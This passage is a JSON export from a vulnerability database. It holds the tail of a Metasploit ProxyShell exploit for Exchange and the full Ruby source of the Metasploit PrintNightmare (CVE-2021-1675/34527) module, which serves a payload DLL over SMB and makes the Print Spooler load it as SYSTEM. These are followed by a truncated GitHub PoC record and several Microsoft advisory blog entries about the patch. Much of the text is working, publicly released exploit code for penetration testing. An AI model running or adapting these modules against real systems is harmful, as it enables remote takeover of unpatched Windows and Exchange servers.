options[:ssrf_proc] \nend \n \ndef send_request(message) \nresp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message }) \nWinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml \nend \nend \n \ndef create_transport(connection_opts) \nraise NotImplementedError unless connection_opts[:transport] == :ssrf \n \nsuper \nend \n \nprivate \n \ndef init_ssrf_transport(opts) \nHttpSsrf.new(opts[:endpoint], opts) \nend \nend \n \nmodule PowerShell \ndef send_command(command, _arguments) \ncommand_id = SecureRandom.uuid.to_s.upcase \nmessage = MessageFactory.create_pipeline_message(@runspace_id, command_id, command) \nfragmenter.fragment(message) do |fragment| \ncommand_args = [connection_opts, shell_id, command_id, fragment] \nif fragment.start_fragment \nresp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build) \ncommand_id = REXML::XPath.first(resp_doc, \"//*[local-name() = 'CommandId']\").text \nelse \ntransport.send_request(WinRM::WSMV::SendData.new(*command_args).build) \nend \nend \n \ncommand_id \nend \nend \n \ndef initialize(connection_opts) \n# these have to be set to truthy values to pass the option validation, but they're not actually used because hax \nconnection_opts.merge!({ user: :ssrf, password: :ssrf }) \nsuper(connection_opts) \nend \n \ndef transport \n@transport ||= begin \ntransport_factory = TransportFactory.new \ntransport_factory.create_transport(@connection_opts) \nend \nend \nend \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/163895/exchange_proxyshell_rce.rb.txt"}, {"lastseen": "2022-05-25T15:25:18", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-25T00:00:00", "type": "packetstorm", "title": "Print Spooler Remote DLL Injection", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-05-25T00:00:00", "id": "PACKETSTORM:167261", "href": "https://packetstormsecurity.com/files/167261/Print-Spooler-Remote-DLL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'windows_error' \nrequire 'ruby_smb' \nrequire 'ruby_smb/error' \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::DCERPC \ninclude Msf::Exploit::Remote::SMB::Client::Authenticated \ninclude Msf::Exploit::Remote::SMB::Server::Share \ninclude Msf::Exploit::Retry \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::Deprecated \n \nmoved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare' \n \nPrintSystem = RubySMB::Dcerpc::PrintSystem \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Print Spooler Remote DLL Injection', \n'Description' => %q{ \nThe print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted \nDCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN \nvector which requires the Print Spooler service to be running. \n}, \n'Author' => [ \n'Zhiniang Peng', # vulnerability discovery / research \n'Xuefeng Li', # vulnerability discovery / research \n'Zhipeng Huo', # vulnerability discovery \n'Piotr Madej', # vulnerability discovery \n'Zhang Yunhai', # vulnerability discovery \n'cube0x0', # PoC \n'Spencer McIntyre', # metasploit module \n'Christophe De La Fuente', # metasploit module co-author \n], \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'SRVHOST' => Rex::Socket.source_address \n}, \n'Stance' => Msf::Exploit::Stance::Aggressive, \n'Targets' => [ \n[ \n'Windows', { \n'Platform' => 'win', \n'Arch' => [ ARCH_X64, ARCH_X86 ] \n}, \n], \n], \n'DisclosureDate' => '2021-06-08', \n'References' => [ \n['CVE', '2021-1675'], \n['CVE', '2021-34527'], \n['URL', 'https://github.com/cube0x0/CVE-2021-1675'], \n['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'], \n['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'], \n['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream'] \n], \n'Notes' => { \n'AKA' => [ 'PrintNightmare' ], \n'Stability' => [CRASH_SERVICE_DOWN], \n'Reliability' => [UNRELIABLE_SESSION], \n'SideEffects' => [ \nARTIFACTS_ON_DISK # the dll will be copied to the remote server \n] \n} \n) \n) \n \nregister_advanced_options( \n[ \nOptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ]) \n] \n) \nderegister_options('AutoCheck') \nend \n \ndef check \nbegin \nconnect(backend: :ruby_smb) \nrescue Rex::ConnectionError \nreturn Exploit::CheckCode::Unknown('Failed to connect to the remote service.') \nend \n \nbegin \nsmb_login \nrescue Rex::Proto::SMB::Exceptions::LoginError \nreturn Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.') \nend \n \nbegin \ndcerpc_bind_spoolss \nrescue RubySMB::Error::UnexpectedStatusCode => e \nnt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first \nif nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND \nprint_error(\"The 'Print Spooler' service is disabled.\") \nend \nreturn Exploit::CheckCode::Safe(\"The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).\") \nend \n \n@target_arch = dcerpc_getarch \n# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43 \nif @target_arch == ARCH_X64 \n@environment = 'Windows x64' \nelsif @target_arch == ARCH_X86 \n@environment = 'Windows NT x86' \nelse \nreturn Exploit::CheckCode::Detected('Successfully bound to the remote service.') \nend \n \nprint_status(\"Target environment: Windows v#{simple.client.os_version} (#{@target_arch})\") \n \nprint_status('Enumerating the installed printer drivers...') \ndrivers = enum_printer_drivers(@environment) \n@driver_path = \"#{drivers.driver_path.rpartition('\\\\').first}\\\\UNIDRV.DLL\" \nvprint_status(\"Using driver path: #{@driver_path}\") \n \nprint_status('Retrieving the path of the printer driver directory...') \n@config_directory = get_printer_driver_directory(@environment) \nvprint_status(\"Using driver directory: #{@config_directory}\") unless @config_directory.nil? \n \ncontainer = driver_container( \np_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', \np_data_file: \"\\\\??\\\\UNC\\\\127.0.0.1\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll\" \n) \n \ncase add_printer_driver_ex(container) \nwhen nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code \nreturn Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.') \nwhen ::WindowsError::Win32::ERROR_PATH_NOT_FOUND \nreturn Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.') \nwhen ::WindowsError::Win32::ERROR_BAD_NET_NAME \nreturn Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.') \nwhen ::WindowsError::Win32::ERROR_ACCESS_DENIED \nreturn Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.') \nend \n \nExploit::CheckCode::Detected('Successfully bound to the remote service.') \nend \n \ndef run \nfail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64 \nfail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil? \nfail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil? \n \nsuper \nend \n \ndef setup \nif Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 \nfail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') \nend \n \nsuper \nend \n \ndef start_service \nfile_name << '.dll' \nself.file_contents = generate_payload_dll \n \nsuper \nend \n \ndef primer \ndll_path = unc \nif dll_path =~ /^\\\\\\\\([\\w:.\\[\\]]+)\\\\(.*)$/ \n# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass \n# otherwise the operation will fail with ERROR_INVALID_PARAMETER \ndll_path = \"\\\\??\\\\UNC\\\\#{Regexp.last_match(1)}\\\\#{Regexp.last_match(2)}\" \nend \nvprint_status(\"Using DLL path: #{dll_path}\") \n \nfilename = dll_path.rpartition('\\\\').last \ncontainer = driver_container(p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', p_data_file: dll_path) \n \n3.times do \nadd_printer_driver_ex(container) \nend \n \n1.upto(3) do |directory| \ncontainer.driver_info.p_config_file.assign(\"#{@config_directory}\\\\3\\\\old\\\\#{directory}\\\\#{filename}\") \nbreak if add_printer_driver_ex(container).nil? \nend \n \ncleanup_service \nend \n \ndef driver_container(**kwargs) \nPrintSystem::DriverContainer.new( \nlevel: 2, \ntag: 2, \ndriver_info: PrintSystem::DriverInfo2.new( \nc_version: 3, \np_name_ref_id: 0x00020000, \np_environment_ref_id: 0x00020004, \np_driver_path_ref_id: 0x00020008, \np_data_file_ref_id: 0x0002000c, \np_config_file_ref_id: 0x00020010, \n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913 \np_name: \"#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}\", \np_environment: @environment, \np_driver_path: @driver_path, \n**kwargs \n) \n) \nend \n \ndef dcerpc_bind_spoolss \nhandle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\\\spoolss']) \nvprint_status(\"Binding to #{handle} ...\") \ndcerpc_bind(handle) \nvprint_status(\"Bound to #{handle} ...\") \nend \n \ndef enum_printer_drivers(environment) \nresponse = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2) \nresponse = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed) \nfail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length \nDriverInfo2.read(response.p_drivers.map(&:chr).join) \nend \n \ndef get_printer_driver_directory(environment) \nresponse = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2) \nresponse = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed) \nfail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length \nRubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT') \nend \n \ndef add_printer_driver_ex(container) \nflags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES \n \nbegin \nresponse = rprn_call('RpcAddPrinterDriverEx', p_name: \"\\\\\\\\#{datastore['RHOST']}\", p_driver_container: container, dw_file_copy_flags: flags) \nrescue RubySMB::Error::UnexpectedStatusCode => e \nnt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first \nmessage = \"Error #{nt_status.name} (#{nt_status.description})\" \nif nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN \n# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected \nprint_status('The named pipe connection was broken, reconnecting...') \nreconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do \ndcerpc_bind_spoolss \nrescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e \nfalse \nelse \ntrue \nend \n \nunless reconnected \nvprint_status('Failed to reconnect to the named pipe.') \nreturn nil \nend \n \nprint_status('Successfully reconnected to the named pipe.') \nretry \nelse \nprint_error(message) \nend \n \nreturn nt_status \nend \n \nerror = ::WindowsError::Win32.find_by_retval(response.error_status.value).first \nmessage = \"RpcAddPrinterDriverEx response #{response.error_status}\" \nmessage << \" #{error.name} (#{error.description})\" unless error.nil? \nvprint_status(message) \nerror \nend \n \ndef rprn_call(name, **kwargs) \nrequest = PrintSystem.const_get(\"#{name}Request\").new(**kwargs) \n \nbegin \nraw_response = dcerpc.call(request.opnum, request.to_binary_s) \nrescue Rex::Proto::DCERPC::Exceptions::Fault => e \nfail_with(Failure::UnexpectedReply, \"The #{name} Print System RPC request failed (#{e.message}).\") \nend \n \nPrintSystem.const_get(\"#{name}Response\").read(raw_response) \nend \n \nclass DriverInfo2Header < BinData::Record \nendian :little \n \nuint32 :c_version \nuint32 :name_offset \nuint32 :environment_offset \nuint32 :driver_path_offset \nuint32 :data_file_offset \nuint32 :config_file_offset \nend \n \n# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2 \n# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030 \nDriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do \ndef self.read(data) \nheader = DriverInfo2Header.read(data) \nnew( \nheader, \nRubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT') \n) \nend \nend \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/167261/cve_2021_1675_printnightmare.rb.txt"}], "githubexploit": [{"lastseen": "2022-03-12T14:43:07", "description": "# ProxyShell_POC\nPOC for ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-02T07:29:24", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", 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Following the out of band release (OOB) we investigated claims regarding the effectiveness of the security update and questions around the suggested mitigations.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-08T07:00:00", "type": "msrc", "title": "Clarified Guidance for CVE-2021-34527 Windows Print Spooler Vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-08T07:00:00", "id": "MSRC:D3EB0B723121A9028F60C06787605F29", "href": "/blog/2021/07/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T15:35:29", "description": "Today Microsoft released an Out-of-Band (OOB) security update for CVE-2021-34527, which is being discussed externally as PrintNightmare. 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The fix that we released today fully addresses the public vulnerability, and it also includes a new feature that allows customers to implement stronger protections.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T07:00:00", "type": "msrc", "title": "Out-of-Band (OOB) Security Update available for CVE-2021-34527", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T07:00:00", "id": "MSRC:8DDE6C6C2CBC080233B7C0F929E83062", "href": "/blog/2021/07/out-of-band-oob-security-update-available-for-cve-2021-34527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T17:06:18", "description": "2021 \u5e74 7 \u6708 7 \u65e5 (\u65e5\u672c\u6642\u9593)\u3001\u30de\u30a4\u30af\u30ed\u30bd\u30d5\u30c8\u306f\u4ee5\u4e0b\u306e\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u5b9a\u4f8b\u5916\u3067\u516c", "cvss3": {}, "published": "2021-07-06T07:00:00", "type": "msrc", "title": "Windows Print Spooler \u306e\u8106\u5f31\u6027\u60c5\u5831 (CVE-2021-34527) \u306b\u5bfe\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u66f4\u65b0\u30d7\u30ed\u30b0\u30e9\u30e0\u306e\u5b9a\u4f8b\u5916\u3067\u306e\u516c\u958b", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T07:00:00", "id": "MSRC:90189138D61770FDBFA4D6BFCF043C7F", "href": "/blog/2021/07/20210707_windowsprintspooleroob/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-22T16:39:48", "description": "Today Microsoft released an Out-of-Band (OOB) security update for CVE-2021-34527, which is being discussed externally as PrintNightmare. This is a cumulative update release, so it contains all previous security fixes and should be applied immediately to fully protect your systems. The fix that we released today fully addresses the public vulnerability, and it also includes a new feature that allows customers to implement stronger protections.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T07:00:00", "type": "msrc", "title": "Out-of-Band (OOB) Security Update available for CVE-2021-34527", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T07:00:00", "id": "MSRC:7A4C48432D99E285A3DCFB40C66B7041", "href": "https://msrc.microsoft.com/blog/2021/07/out-of-band-oob-security-update-available-for-cve-2021-34527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:38:15", "description": "Today Microsoft released an Out-of-Band (OOB) security update for CVE-2021-34527, which is being discussed externally as PrintNightmare. This is a cumulative update release, so it contains all previous security fixes and should be applied immediately to fully protect your systems. The fix that we released today fully addresses the public vulnerability, and it also includes a new feature that allows customers to implement stronger protections. See: KB5005010: \u2026\n\n[ Out-of-Band (OOB) Security Update available for CVE-2021-34527 Read More \u00bb](<https://msrc-blog.microsoft.com/2021/07/06/out-of-band-oob-security-update-available-for-cve-2021-34527/>)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-06T23:36:00", "type": "msrc", "title": "Out-of-Band (OOB) Security Update available for CVE-2021-34527", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T23:36:00", "id": "MSRC:CB3C49E52425E7C1B0CFB151C6D488A4", "href": "https://msrc-blog.microsoft.com/2021/07/06/out-of-band-oob-security-update-available-for-cve-2021-34527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:38:15", "description": "On Tuesday July 6, 2021, Microsoft issued CVE-2021-34527 regarding a Windows Print Spooler vulnerability. Updates were released on July 6 and 7 which addressed the vulnerability for all supported Windows versions. We encourage customers to update as soon as possible. CVE-2021-34527 - Windows Print Spooler Remote Code Execution Vulnerability. Following the out of band release \u2026\n\n[ Clarified Guidance for CVE-2021-34527 Windows Print Spooler Vulnerability Read More \u00bb](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-09T01:00:42", "type": "msrc", "title": "Clarified Guidance for CVE-2021-34527 Windows Print Spooler Vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-09T01:00:42", "id": "MSRC:239E65C8BEB88185329D9990C80B10DF", "href": "https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T15:35:29", "description": "2021 \u5e74 7 \u6708 7 \u65e5 (\u65e5\u672c\u6642\u9593) \u306b\u3001\u30de\u30a4\u30af\u30ed\u30bd\u30d5\u30c8\u306f Windows Print Spooler \u306e\u8106\u5f31\u6027\u60c5\u5831 CVE-2021-34527 \u3092\u516c\u958b\u3057\u30017 \u6708 7 \u65e5\u3068 8 \u65e5 (\u65e5\u672c\u6642\u9593)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-08T07:00:00", "type": "msrc", "title": "Windows Print Spooler \u306e\u8106\u5f31\u6027\u60c5\u5831 (CVE-2021-34527) \u306b\u95a2\u3059\u308b\u304a\u5ba2\u69d8\u5411\u3051\u30ac\u30a4\u30c0\u30f3\u30b9", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-08T07:00:00", "id": "MSRC:236F052536DCDE6A90F408B759E221BC", "href": "/blog/2021/07/20210709_guidancecve202134527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-22T16:39:48", "description": "On Tuesday July 6, 2021, Microsoft issued CVE-2021-34527 regarding a Windows Print Spooler vulnerability. Updates were released on July 6 and 7 which addressed the vulnerability for all supported Windows versions. We encourage customers to update as soon as possible. CVE-2021-34527 - Windows Print Spooler Remote Code Execution Vulnerability. Following the out of band release (OOB) we investigated claims regarding the effectiveness of the security update and questions around the suggested mitigations.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-08T07:00:00", "type": "msrc", "title": "Clarified Guidance for CVE-2021-34527 Windows Print Spooler Vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-08T07:00:00", "id": "MSRC:138C696A39E258DD773C8941F8F90E86", "href": 